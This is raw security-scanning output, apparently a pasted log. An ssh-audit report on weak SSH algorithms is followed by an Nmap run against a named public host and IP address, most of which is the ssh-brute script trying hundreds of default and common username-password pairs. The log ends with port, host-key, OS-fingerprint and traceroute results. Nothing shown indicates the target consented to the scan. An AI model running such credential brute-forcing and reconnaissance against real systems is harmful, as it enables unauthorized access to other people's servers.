- (kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves
- `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
- (kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves
- `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
- (kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus (possibly weak)
- `- [info] available since OpenSSH 4.4
- (kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
- (kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3
- (kex) diffie-hellman-group-exchange-sha1 -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [warn] using weak hashing algorithm
- `- [info] available since OpenSSH 2.3.0
- (kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
- (kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm
- `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
- (kex) diffie-hellman-group1-sha1 -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [fail] disabled (in client) since OpenSSH 7.0, logjam attack
- `- [warn] using small 1024-bit modulus
- `- [warn] using weak hashing algorithm
- `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
- # host-key algorithms
- (key) ssh-rsa -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
- (key) rsa-sha2-512 -- [info] available since OpenSSH 7.2
- (key) rsa-sha2-256 -- [info] available since OpenSSH 7.2
- (key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves
- `- [warn] using weak random number generator could reveal the key
- `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
- (key) ssh-ed25519 -- [info] available since OpenSSH 6.5
- # encryption algorithms (ciphers)
- (enc) [email protected] -- [info] available since OpenSSH 6.5
- `- [info] default cipher since OpenSSH 6.9.
- (enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
- (enc) aes192-ctr -- [info] available since OpenSSH 3.7
- (enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
- (enc) [email protected] -- [info] available since OpenSSH 6.2
- (enc) [email protected] -- [info] available since OpenSSH 6.2
- (enc) aes128-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [warn] using weak cipher mode
- `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
- (enc) aes192-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [warn] using weak cipher mode
- `- [info] available since OpenSSH 2.3.0
- (enc) aes256-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [warn] using weak cipher mode
- `- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47
- (enc) blowfish-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [fail] disabled since Dropbear SSH 0.53
- `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
- `- [warn] using weak cipher mode
- `- [warn] using small 64-bit block size
- `- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28
- (enc) cast128-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
- `- [warn] using weak cipher mode
- `- [warn] using small 64-bit block size
- `- [info] available since OpenSSH 2.1.0
- (enc) 3des-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
- `- [warn] using weak cipher
- `- [warn] using weak cipher mode
- `- [warn] using small 64-bit block size
- `- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28
- # message authentication code algorithms
- (mac) [email protected] -- [warn] using small 64-bit tag size
- `- [info] available since OpenSSH 6.2
- (mac) [email protected] -- [info] available since OpenSSH 6.2
- (mac) [email protected] -- [info] available since OpenSSH 6.2
- (mac) [email protected] -- [info] available since OpenSSH 6.2
- (mac) [email protected] -- [warn] using weak hashing algorithm
- `- [info] available since OpenSSH 6.2
- (mac) [email protected] -- [warn] using encrypt-and-MAC mode
- `- [warn] using small 64-bit tag size
- `- [info] available since OpenSSH 4.7
- (mac) [email protected] -- [warn] using encrypt-and-MAC mode
- `- [info] available since OpenSSH 6.2
- (mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
- `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
- (mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
- `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
- (mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode
- `- [warn] using weak hashing algorithm
- `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
- # algorithm recommendations (for OpenSSH 7.4)
- (rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove
- (rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
- (rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove
- (rec) -diffie-hellman-group1-sha1 -- kex algorithm to remove
- (rec) -diffie-hellman-group-exchange-sha1 -- kex algorithm to remove
- (rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
- (rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
- (rec) -ecdsa-sha2-nistp256 -- key algorithm to remove
- (rec) -blowfish-cbc -- enc algorithm to remove
- (rec) -3des-cbc -- enc algorithm to remove
- (rec) -aes256-cbc -- enc algorithm to remove
- (rec) -cast128-cbc -- enc algorithm to remove
- (rec) -aes192-cbc -- enc algorithm to remove
- (rec) -aes128-cbc -- enc algorithm to remove
- (rec) -hmac-sha2-512 -- mac algorithm to remove
- (rec) [email protected] -- mac algorithm to remove
- (rec) -hmac-sha2-256 -- mac algorithm to remove
- (rec) [email protected] -- mac algorithm to remove
- (rec) -hmac-sha1 -- mac algorithm to remove
- (rec) [email protected] -- mac algorithm to remove
- (rec) [email protected] -- mac algorithm to remove
- #######################################################################################################################################
- Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 23:30 EDT
- NSE: [ssh-run] Failed to specify credentials and command to run.
- NSE: [ssh-brute] Trying username/password pair: root:root
- NSE: [ssh-brute] Trying username/password pair: admin:admin
- NSE: [ssh-brute] Trying username/password pair: administrator:administrator
- NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
- NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
- NSE: [ssh-brute] Trying username/password pair: netadmin:netadmin
- NSE: [ssh-brute] Trying username/password pair: guest:guest
- NSE: [ssh-brute] Trying username/password pair: user:user
- NSE: [ssh-brute] Trying username/password pair: web:web
- NSE: [ssh-brute] Trying username/password pair: test:test
- NSE: [ssh-brute] Trying username/password pair: root:
- NSE: [ssh-brute] Trying username/password pair: admin:
- NSE: [ssh-brute] Trying username/password pair: administrator:
- NSE: [ssh-brute] Trying username/password pair: webadmin:
- NSE: [ssh-brute] Trying username/password pair: sysadmin:
- NSE: [ssh-brute] Trying username/password pair: netadmin:
- NSE: [ssh-brute] Trying username/password pair: guest:
- NSE: [ssh-brute] Trying username/password pair: user:
- NSE: [ssh-brute] Trying username/password pair: web:
- NSE: [ssh-brute] Trying username/password pair: test:
- NSE: [ssh-brute] Trying username/password pair: root:123456
- NSE: [ssh-brute] Trying username/password pair: admin:123456
- NSE: [ssh-brute] Trying username/password pair: administrator:123456
- NSE: [ssh-brute] Trying username/password pair: webadmin:123456
- NSE: [ssh-brute] Trying username/password pair: sysadmin:123456
- NSE: [ssh-brute] Trying username/password pair: netadmin:123456
- NSE: [ssh-brute] Trying username/password pair: guest:123456
- NSE: [ssh-brute] Trying username/password pair: user:123456
- NSE: [ssh-brute] Trying username/password pair: web:123456
- NSE: [ssh-brute] Trying username/password pair: test:123456
- NSE: [ssh-brute] Trying username/password pair: root:12345
- NSE: [ssh-brute] Trying username/password pair: admin:12345
- NSE: [ssh-brute] Trying username/password pair: administrator:12345
- NSE: [ssh-brute] Trying username/password pair: webadmin:12345
- NSE: [ssh-brute] Trying username/password pair: sysadmin:12345
- NSE: [ssh-brute] Trying username/password pair: netadmin:12345
- NSE: [ssh-brute] Trying username/password pair: guest:12345
- NSE: [ssh-brute] Trying username/password pair: user:12345
- NSE: [ssh-brute] Trying username/password pair: web:12345
- NSE: [ssh-brute] Trying username/password pair: test:12345
- NSE: [ssh-brute] Trying username/password pair: root:123456789
- NSE: [ssh-brute] Trying username/password pair: admin:123456789
- NSE: [ssh-brute] Trying username/password pair: administrator:123456789
- NSE: [ssh-brute] Trying username/password pair: webadmin:123456789
- NSE: [ssh-brute] Trying username/password pair: sysadmin:123456789
- NSE: [ssh-brute] Trying username/password pair: netadmin:123456789
- NSE: [ssh-brute] Trying username/password pair: guest:123456789
- NSE: [ssh-brute] Trying username/password pair: user:123456789
- NSE: [ssh-brute] Trying username/password pair: web:123456789
- NSE: [ssh-brute] Trying username/password pair: test:123456789
- NSE: [ssh-brute] Trying username/password pair: root:password
- NSE: [ssh-brute] Trying username/password pair: admin:password
- NSE: [ssh-brute] Trying username/password pair: administrator:password
- NSE: [ssh-brute] Trying username/password pair: webadmin:password
- NSE: [ssh-brute] Trying username/password pair: sysadmin:password
- NSE: [ssh-brute] Trying username/password pair: netadmin:password
- NSE: [ssh-brute] Trying username/password pair: guest:password
- NSE: [ssh-brute] Trying username/password pair: user:password
- NSE: [ssh-brute] Trying username/password pair: web:password
- NSE: [ssh-brute] Trying username/password pair: test:password
- NSE: [ssh-brute] Trying username/password pair: root:iloveyou
- NSE: [ssh-brute] Trying username/password pair: admin:iloveyou
- NSE: [ssh-brute] Trying username/password pair: administrator:iloveyou
- NSE: [ssh-brute] Trying username/password pair: webadmin:iloveyou
- NSE: [ssh-brute] Trying username/password pair: sysadmin:iloveyou
- NSE: [ssh-brute] Trying username/password pair: netadmin:iloveyou
- NSE: [ssh-brute] Trying username/password pair: guest:iloveyou
- NSE: [ssh-brute] Trying username/password pair: user:iloveyou
- NSE: [ssh-brute] Trying username/password pair: web:iloveyou
- NSE: [ssh-brute] Trying username/password pair: test:iloveyou
- NSE: [ssh-brute] Trying username/password pair: root:princess
- NSE: [ssh-brute] Trying username/password pair: admin:princess
- NSE: [ssh-brute] Trying username/password pair: administrator:princess
- NSE: [ssh-brute] Trying username/password pair: webadmin:princess
- NSE: [ssh-brute] Trying username/password pair: sysadmin:princess
- NSE: [ssh-brute] Trying username/password pair: netadmin:princess
- NSE: [ssh-brute] Trying username/password pair: guest:princess
- NSE: [ssh-brute] Trying username/password pair: user:princess
- NSE: [ssh-brute] Trying username/password pair: web:princess
- NSE: [ssh-brute] Trying username/password pair: test:princess
- NSE: [ssh-brute] Trying username/password pair: root:12345678
- NSE: [ssh-brute] Trying username/password pair: admin:12345678
- NSE: [ssh-brute] Trying username/password pair: administrator:12345678
- NSE: [ssh-brute] Trying username/password pair: webadmin:12345678
- NSE: [ssh-brute] Trying username/password pair: sysadmin:12345678
- NSE: [ssh-brute] Trying username/password pair: netadmin:12345678
- NSE: [ssh-brute] Trying username/password pair: guest:12345678
- NSE: [ssh-brute] Trying username/password pair: user:12345678
- NSE: [ssh-brute] Trying username/password pair: web:12345678
- NSE: [ssh-brute] Trying username/password pair: test:12345678
- NSE: [ssh-brute] Trying username/password pair: root:1234567
- NSE: [ssh-brute] Trying username/password pair: admin:1234567
- NSE: [ssh-brute] Trying username/password pair: administrator:1234567
- NSE: [ssh-brute] Trying username/password pair: webadmin:1234567
- NSE: [ssh-brute] Trying username/password pair: sysadmin:1234567
- NSE: [ssh-brute] Trying username/password pair: netadmin:1234567
- NSE: [ssh-brute] Trying username/password pair: guest:1234567
- NSE: [ssh-brute] Trying username/password pair: user:1234567
- NSE: [ssh-brute] Trying username/password pair: web:1234567
- NSE: [ssh-brute] Trying username/password pair: test:1234567
- NSE: [ssh-brute] Trying username/password pair: root:abc123
- NSE: [ssh-brute] Trying username/password pair: admin:abc123
- NSE: [ssh-brute] Trying username/password pair: administrator:abc123
- NSE: [ssh-brute] Trying username/password pair: webadmin:abc123
- NSE: [ssh-brute] Trying username/password pair: sysadmin:abc123
- NSE: [ssh-brute] Trying username/password pair: netadmin:abc123
- NSE: [ssh-brute] Trying username/password pair: guest:abc123
- NSE: [ssh-brute] Trying username/password pair: user:abc123
- NSE: [ssh-brute] Trying username/password pair: web:abc123
- NSE: [ssh-brute] Trying username/password pair: test:abc123
- NSE: [ssh-brute] Trying username/password pair: root:nicole
- NSE: [ssh-brute] Trying username/password pair: admin:nicole
- NSE: [ssh-brute] Trying username/password pair: administrator:nicole
- NSE: [ssh-brute] Trying username/password pair: webadmin:nicole
- NSE: [ssh-brute] Trying username/password pair: sysadmin:nicole
- NSE: [ssh-brute] Trying username/password pair: netadmin:nicole
- NSE: [ssh-brute] Trying username/password pair: guest:nicole
- NSE: [ssh-brute] Trying username/password pair: user:nicole
- NSE: [ssh-brute] Trying username/password pair: web:nicole
- NSE: [ssh-brute] Trying username/password pair: test:nicole
- NSE: [ssh-brute] Trying username/password pair: root:daniel
- NSE: [ssh-brute] Trying username/password pair: admin:daniel
- NSE: [ssh-brute] Trying username/password pair: administrator:daniel
- NSE: [ssh-brute] Trying username/password pair: webadmin:daniel
- NSE: [ssh-brute] Trying username/password pair: sysadmin:daniel
- NSE: [ssh-brute] Trying username/password pair: netadmin:daniel
- NSE: [ssh-brute] Trying username/password pair: guest:daniel
- NSE: [ssh-brute] Trying username/password pair: user:daniel
- NSE: [ssh-brute] Trying username/password pair: web:daniel
- NSE: [ssh-brute] Trying username/password pair: test:daniel
- NSE: [ssh-brute] Trying username/password pair: root:monkey
- NSE: [ssh-brute] Trying username/password pair: admin:monkey
- NSE: [ssh-brute] Trying username/password pair: administrator:monkey
- NSE: [ssh-brute] Trying username/password pair: webadmin:monkey
- NSE: [ssh-brute] Trying username/password pair: sysadmin:monkey
- NSE: [ssh-brute] Trying username/password pair: netadmin:monkey
- NSE: [ssh-brute] Trying username/password pair: guest:monkey
- NSE: [ssh-brute] Trying username/password pair: user:monkey
- NSE: [ssh-brute] Trying username/password pair: web:monkey
- NSE: [ssh-brute] Trying username/password pair: test:monkey
- NSE: [ssh-brute] Trying username/password pair: root:babygirl
- NSE: [ssh-brute] Trying username/password pair: admin:babygirl
- NSE: [ssh-brute] Trying username/password pair: administrator:babygirl
- NSE: [ssh-brute] Trying username/password pair: webadmin:babygirl
- NSE: [ssh-brute] Trying username/password pair: sysadmin:babygirl
- NSE: [ssh-brute] Trying username/password pair: netadmin:babygirl
- NSE: [ssh-brute] Trying username/password pair: guest:babygirl
- NSE: [ssh-brute] Trying username/password pair: user:babygirl
- NSE: [ssh-brute] Trying username/password pair: web:babygirl
- NSE: [ssh-brute] Trying username/password pair: test:babygirl
- NSE: [ssh-brute] Trying username/password pair: root:qwerty
- NSE: [ssh-brute] Trying username/password pair: admin:qwerty
- NSE: [ssh-brute] Trying username/password pair: administrator:qwerty
- NSE: [ssh-brute] Trying username/password pair: webadmin:qwerty
- NSE: [ssh-brute] Trying username/password pair: sysadmin:qwerty
- NSE: [ssh-brute] Trying username/password pair: netadmin:qwerty
- NSE: [ssh-brute] Trying username/password pair: guest:qwerty
- NSE: [ssh-brute] Trying username/password pair: user:qwerty
- NSE: [ssh-brute] Trying username/password pair: web:qwerty
- NSE: [ssh-brute] Trying username/password pair: test:qwerty
- NSE: [ssh-brute] Trying username/password pair: root:lovely
- NSE: [ssh-brute] Trying username/password pair: admin:lovely
- NSE: [ssh-brute] Trying username/password pair: administrator:lovely
- NSE: [ssh-brute] Trying username/password pair: webadmin:lovely
- NSE: [ssh-brute] Trying username/password pair: sysadmin:lovely
- NSE: [ssh-brute] Trying username/password pair: netadmin:lovely
- NSE: [ssh-brute] Trying username/password pair: guest:lovely
- NSE: [ssh-brute] Trying username/password pair: user:lovely
- NSE: [ssh-brute] Trying username/password pair: web:lovely
- NSE: [ssh-brute] Trying username/password pair: test:lovely
- NSE: [ssh-brute] Trying username/password pair: root:654321
- NSE: [ssh-brute] Trying username/password pair: admin:654321
- NSE: [ssh-brute] Trying username/password pair: administrator:654321
- NSE: [ssh-brute] Trying username/password pair: webadmin:654321
- NSE: [ssh-brute] Trying username/password pair: sysadmin:654321
- NSE: [ssh-brute] Trying username/password pair: netadmin:654321
- NSE: [ssh-brute] Trying username/password pair: guest:654321
- NSE: [ssh-brute] Trying username/password pair: user:654321
- NSE: [ssh-brute] Trying username/password pair: web:654321
- NSE: [ssh-brute] Trying username/password pair: test:654321
- NSE: [ssh-brute] Trying username/password pair: root:michael
- NSE: [ssh-brute] Trying username/password pair: admin:michael
- NSE: [ssh-brute] Trying username/password pair: administrator:michael
- NSE: [ssh-brute] Trying username/password pair: webadmin:michael
- NSE: [ssh-brute] Trying username/password pair: sysadmin:michael
- NSE: [ssh-brute] Trying username/password pair: netadmin:michael
- NSE: [ssh-brute] Trying username/password pair: guest:michael
- NSE: [ssh-brute] Trying username/password pair: user:michael
- NSE: [ssh-brute] Trying username/password pair: web:michael
- NSE: [ssh-brute] Trying username/password pair: test:michael
- NSE: [ssh-brute] Trying username/password pair: root:jessica
- NSE: [ssh-brute] Trying username/password pair: admin:jessica
- NSE: [ssh-brute] Trying username/password pair: administrator:jessica
- NSE: [ssh-brute] Trying username/password pair: webadmin:jessica
- NSE: [ssh-brute] Trying username/password pair: sysadmin:jessica
- NSE: [ssh-brute] Trying username/password pair: netadmin:jessica
- NSE: [ssh-brute] Trying username/password pair: guest:jessica
- NSE: [ssh-brute] Trying username/password pair: user:jessica
- NSE: [ssh-brute] Trying username/password pair: web:jessica
- NSE: [ssh-brute] Trying username/password pair: test:jessica
- NSE: [ssh-brute] Trying username/password pair: root:111111
- NSE: [ssh-brute] Trying username/password pair: admin:111111
- NSE: [ssh-brute] Trying username/password pair: administrator:111111
- NSE: [ssh-brute] Trying username/password pair: webadmin:111111
- NSE: [ssh-brute] Trying username/password pair: sysadmin:111111
- NSE: [ssh-brute] Trying username/password pair: netadmin:111111
- NSE: [ssh-brute] Trying username/password pair: guest:111111
- NSE: [ssh-brute] Trying username/password pair: user:111111
- NSE: [ssh-brute] Trying username/password pair: web:111111
- NSE: [ssh-brute] Trying username/password pair: test:111111
- NSE: [ssh-brute] Trying username/password pair: root:ashley
- NSE: [ssh-brute] Trying username/password pair: admin:ashley
- NSE: [ssh-brute] Trying username/password pair: administrator:ashley
- NSE: [ssh-brute] Trying username/password pair: webadmin:ashley
- NSE: [ssh-brute] Trying username/password pair: sysadmin:ashley
- NSE: [ssh-brute] Trying username/password pair: netadmin:ashley
- NSE: [ssh-brute] Trying username/password pair: guest:ashley
- NSE: [ssh-brute] Trying username/password pair: user:ashley
- NSE: [ssh-brute] Trying username/password pair: web:ashley
- NSE: [ssh-brute] Trying username/password pair: test:ashley
- NSE: [ssh-brute] Trying username/password pair: root:000000
- NSE: [ssh-brute] Trying username/password pair: admin:000000
- NSE: [ssh-brute] Trying username/password pair: administrator:000000
- NSE: [ssh-brute] Trying username/password pair: webadmin:000000
- NSE: [ssh-brute] Trying username/password pair: sysadmin:000000
- NSE: [ssh-brute] Trying username/password pair: netadmin:000000
- NSE: [ssh-brute] Trying username/password pair: guest:000000
- NSE: [ssh-brute] Trying username/password pair: user:000000
- NSE: [ssh-brute] Trying username/password pair: web:000000
- NSE: [ssh-brute] Trying username/password pair: test:000000
- NSE: [ssh-brute] Trying username/password pair: root:iloveu
- NSE: [ssh-brute] Trying username/password pair: admin:iloveu
- NSE: [ssh-brute] Trying username/password pair: administrator:iloveu
- NSE: [ssh-brute] Trying username/password pair: webadmin:iloveu
- NSE: [ssh-brute] Trying username/password pair: sysadmin:iloveu
- NSE: [ssh-brute] Trying username/password pair: netadmin:iloveu
- NSE: [ssh-brute] Trying username/password pair: guest:iloveu
- NSE: [ssh-brute] Trying username/password pair: user:iloveu
- NSE: [ssh-brute] Trying username/password pair: web:iloveu
- NSE: [ssh-brute] Trying username/password pair: test:iloveu
- NSE: [ssh-brute] Trying username/password pair: root:michelle
- NSE: [ssh-brute] Trying username/password pair: admin:michelle
- NSE: [ssh-brute] Trying username/password pair: administrator:michelle
- NSE: [ssh-brute] Trying username/password pair: webadmin:michelle
- NSE: [ssh-brute] Trying username/password pair: sysadmin:michelle
- NSE: [ssh-brute] Trying username/password pair: netadmin:michelle
- NSE: [ssh-brute] Trying username/password pair: guest:michelle
- NSE: [ssh-brute] Trying username/password pair: user:michelle
- NSE: [ssh-brute] Trying username/password pair: web:michelle
- NSE: [ssh-brute] Trying username/password pair: test:michelle
- NSE: [ssh-brute] Trying username/password pair: root:tigger
- NSE: [ssh-brute] Trying username/password pair: admin:tigger
- NSE: [ssh-brute] Trying username/password pair: administrator:tigger
- NSE: [ssh-brute] Trying username/password pair: webadmin:tigger
- NSE: [ssh-brute] Trying username/password pair: sysadmin:tigger
- NSE: [ssh-brute] Trying username/password pair: netadmin:tigger
- NSE: [ssh-brute] Trying username/password pair: guest:tigger
- NSE: [ssh-brute] Trying username/password pair: user:tigger
- NSE: [ssh-brute] Trying username/password pair: web:tigger
- NSE: [ssh-brute] Trying username/password pair: test:tigger
- NSE: [ssh-brute] Trying username/password pair: root:sunshine
- NSE: [ssh-brute] Trying username/password pair: admin:sunshine
- NSE: [ssh-brute] Trying username/password pair: administrator:sunshine
- NSE: [ssh-brute] Trying username/password pair: webadmin:sunshine
- NSE: [ssh-brute] Trying username/password pair: sysadmin:sunshine
- NSE: [ssh-brute] Trying username/password pair: netadmin:sunshine
- NSE: [ssh-brute] Trying username/password pair: guest:sunshine
- NSE: [ssh-brute] Trying username/password pair: user:sunshine
- NSE: [ssh-brute] Trying username/password pair: web:sunshine
- NSE: [ssh-brute] Trying username/password pair: test:sunshine
- NSE: [ssh-brute] Trying username/password pair: root:chocolate
- NSE: [ssh-brute] Trying username/password pair: admin:chocolate
- NSE: [ssh-brute] Trying username/password pair: administrator:chocolate
- NSE: [ssh-brute] Trying username/password pair: webadmin:chocolate
- NSE: [ssh-brute] Trying username/password pair: sysadmin:chocolate
- NSE: [ssh-brute] Trying username/password pair: netadmin:chocolate
- NSE: [ssh-brute] Trying username/password pair: guest:chocolate
- NSE: [ssh-brute] Trying username/password pair: user:chocolate
- NSE: [ssh-brute] Trying username/password pair: web:chocolate
- NSE: [ssh-brute] Trying username/password pair: test:chocolate
- NSE: [ssh-brute] Trying username/password pair: root:password1
- NSE: [ssh-brute] Trying username/password pair: admin:password1
- NSE: [ssh-brute] Trying username/password pair: administrator:password1
- NSE: [ssh-brute] Trying username/password pair: webadmin:password1
- NSE: [ssh-brute] Trying username/password pair: sysadmin:password1
- NSE: [ssh-brute] Trying username/password pair: netadmin:password1
- NSE: [ssh-brute] Trying username/password pair: guest:password1
- NSE: [ssh-brute] Trying username/password pair: user:password1
- NSE: [ssh-brute] Trying username/password pair: web:password1
- NSE: [ssh-brute] Trying username/password pair: test:password1
- NSE: [ssh-brute] Trying username/password pair: root:soccer
- NSE: [ssh-brute] Trying username/password pair: admin:soccer
- NSE: [ssh-brute] Trying username/password pair: administrator:soccer
- NSE: [ssh-brute] Trying username/password pair: webadmin:soccer
- NSE: [ssh-brute] Trying username/password pair: sysadmin:soccer
- NSE: [ssh-brute] Trying username/password pair: netadmin:soccer
- NSE: [ssh-brute] Trying username/password pair: guest:soccer
- NSE: [ssh-brute] Trying username/password pair: user:soccer
- NSE: [ssh-brute] Trying username/password pair: web:soccer
- NSE: [ssh-brute] Trying username/password pair: test:soccer
- NSE: [ssh-brute] Trying username/password pair: root:anthony
- NSE: [ssh-brute] Trying username/password pair: admin:anthony
- NSE: [ssh-brute] Trying username/password pair: administrator:anthony
- NSE: [ssh-brute] Trying username/password pair: webadmin:anthony
- NSE: [ssh-brute] Trying username/password pair: sysadmin:anthony
- NSE: [ssh-brute] Trying username/password pair: netadmin:anthony
- NSE: [ssh-brute] Trying username/password pair: guest:anthony
- NSE: [ssh-brute] Trying username/password pair: user:anthony
- NSE: [ssh-brute] Trying username/password pair: web:anthony
- NSE: [ssh-brute] Trying username/password pair: test:anthony
- NSE: [ssh-brute] Trying username/password pair: root:friends
- NSE: [ssh-brute] Trying username/password pair: admin:friends
- NSE: [ssh-brute] Trying username/password pair: administrator:friends
- NSE: [ssh-brute] Trying username/password pair: webadmin:friends
- NSE: [ssh-brute] Trying username/password pair: sysadmin:friends
- NSE: [ssh-brute] Trying username/password pair: netadmin:friends
- NSE: [ssh-brute] Trying username/password pair: guest:friends
- NSE: [ssh-brute] Trying username/password pair: user:friends
- NSE: [ssh-brute] Trying username/password pair: web:friends
- NSE: [ssh-brute] Trying username/password pair: test:friends
- NSE: [ssh-brute] Trying username/password pair: root:purple
- NSE: [ssh-brute] Trying username/password pair: admin:purple
- NSE: [ssh-brute] Trying username/password pair: administrator:purple
- NSE: [ssh-brute] Trying username/password pair: webadmin:purple
- NSE: [ssh-brute] Trying username/password pair: sysadmin:purple
- NSE: [ssh-brute] Trying username/password pair: netadmin:purple
- NSE: [ssh-brute] Trying username/password pair: guest:purple
- NSE: [ssh-brute] Trying username/password pair: user:purple
- NSE: [ssh-brute] Trying username/password pair: web:purple
- NSE: [ssh-brute] Trying username/password pair: test:purple
- NSE: [ssh-brute] Trying username/password pair: root:angel
- NSE: [ssh-brute] Trying username/password pair: admin:angel
- NSE: [ssh-brute] Trying username/password pair: administrator:angel
- NSE: [ssh-brute] Trying username/password pair: webadmin:angel
- NSE: [ssh-brute] Trying username/password pair: sysadmin:angel
- NSE: [ssh-brute] Trying username/password pair: netadmin:angel
- NSE: [ssh-brute] Trying username/password pair: guest:angel
- NSE: [ssh-brute] Trying username/password pair: user:angel
- NSE: [ssh-brute] Trying username/password pair: web:angel
- NSE: [ssh-brute] Trying username/password pair: test:angel
- NSE: [ssh-brute] Trying username/password pair: root:butterfly
- NSE: [ssh-brute] Trying username/password pair: admin:butterfly
- NSE: [ssh-brute] Trying username/password pair: administrator:butterfly
- NSE: [ssh-brute] Trying username/password pair: webadmin:butterfly
- NSE: [ssh-brute] Trying username/password pair: sysadmin:butterfly
- NSE: [ssh-brute] Trying username/password pair: netadmin:butterfly
- NSE: [ssh-brute] Trying username/password pair: guest:butterfly
- NSE: [ssh-brute] Trying username/password pair: user:butterfly
- NSE: [ssh-brute] Trying username/password pair: web:butterfly
- NSE: [ssh-brute] Trying username/password pair: test:butterfly
- NSE: [ssh-brute] Trying username/password pair: root:jordan
- NSE: [ssh-brute] Trying username/password pair: admin:jordan
- NSE: [ssh-brute] Trying username/password pair: administrator:jordan
- NSE: [ssh-brute] Trying username/password pair: webadmin:jordan
- NSE: [ssh-brute] Trying username/password pair: sysadmin:jordan
- NSE: [ssh-brute] Trying username/password pair: netadmin:jordan
- NSE: [ssh-brute] Trying username/password pair: guest:jordan
- NSE: [ssh-brute] Trying username/password pair: user:jordan
- NSE: [ssh-brute] Trying username/password pair: web:jordan
- NSE: [ssh-brute] Trying username/password pair: test:jordan
- NSE: [ssh-brute] Trying username/password pair: root:fuckyou
- NSE: [ssh-brute] Trying username/password pair: admin:fuckyou
- NSE: [ssh-brute] Trying username/password pair: administrator:fuckyou
- NSE: [ssh-brute] Trying username/password pair: webadmin:fuckyou
- NSE: [ssh-brute] Trying username/password pair: sysadmin:fuckyou
- NSE: [ssh-brute] Trying username/password pair: netadmin:fuckyou
- NSE: [ssh-brute] Trying username/password pair: guest:fuckyou
- Nmap scan report for www.liliana.artmodeling-studios.org (80.82.64.193)
- Host is up (0.12s latency).
- rDNS record for 80.82.64.193: no-reverse-dns-configured.com
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
- | ssh-auth-methods:
- | Supported authentication methods:
- | publickey
- | gssapi-keyex
- | gssapi-with-mic
- |_ password
- | ssh-brute:
- | Accounts: No valid accounts found
- |_ Statistics: Performed 367 guesses in 181 seconds, average tps: 2.4
- | ssh-hostkey:
- | 2048 e0:96:a8:5e:a8:7b:07:23:bd:90:5b:e1:b5:e6:93:92 (RSA)
- | 256 03:c9:49:5c:0b:0e:2a:c9:f1:0b:63:f7:43:0a:57:7e (ECDSA)
- |_ 256 ad:74:6e:f6:3d:5b:54:00:8a:89:91:b8:80:23:45:7b (ED25519)
- |_ssh-publickey-acceptance: ERROR: Script execution failed (use -d to debug)
- |_ssh-run: Failed to specify credentials and command to run.
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (94%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), HP P2000 G3 NAS device (93%), Oracle VM Server 3.4.2 (Linux 4.1) (92%)
- No exact OS matches for host (test conditions non-ideal).
- Network Distance: 17 hops
- TRACEROUTE (using port 22/tcp)
- HOP RTT ADDRESS
- 1 20.29 ms 10.247.200.1
- 2 20.80 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
- 3 33.64 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
- 4 24.44 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
- 5 25.46 ms ix-xe-11-1-1-0.tcore1.w6c-montreal.as6453.net (66.198.96.98)
- 6 121.38 ms if-ae-12-2.tcore1.mtt-montreal.as6453.net (64.86.31.26)
- 7 121.79 ms if-ae-0-2.tcore2.mtt-montreal.as6453.net (216.6.115.90)
- 8 109.29 ms if-ae-5-2.tcore2.n0v-new-york.as6453.net (64.86.226.58)
- 9 118.14 ms if-ae-4-2.tcore2.l78-london.as6453.net (80.231.131.157)
- 10 109.33 ms if-ae-14-2.tcore2.av2-amsterdam.as6453.net (80.231.131.161)
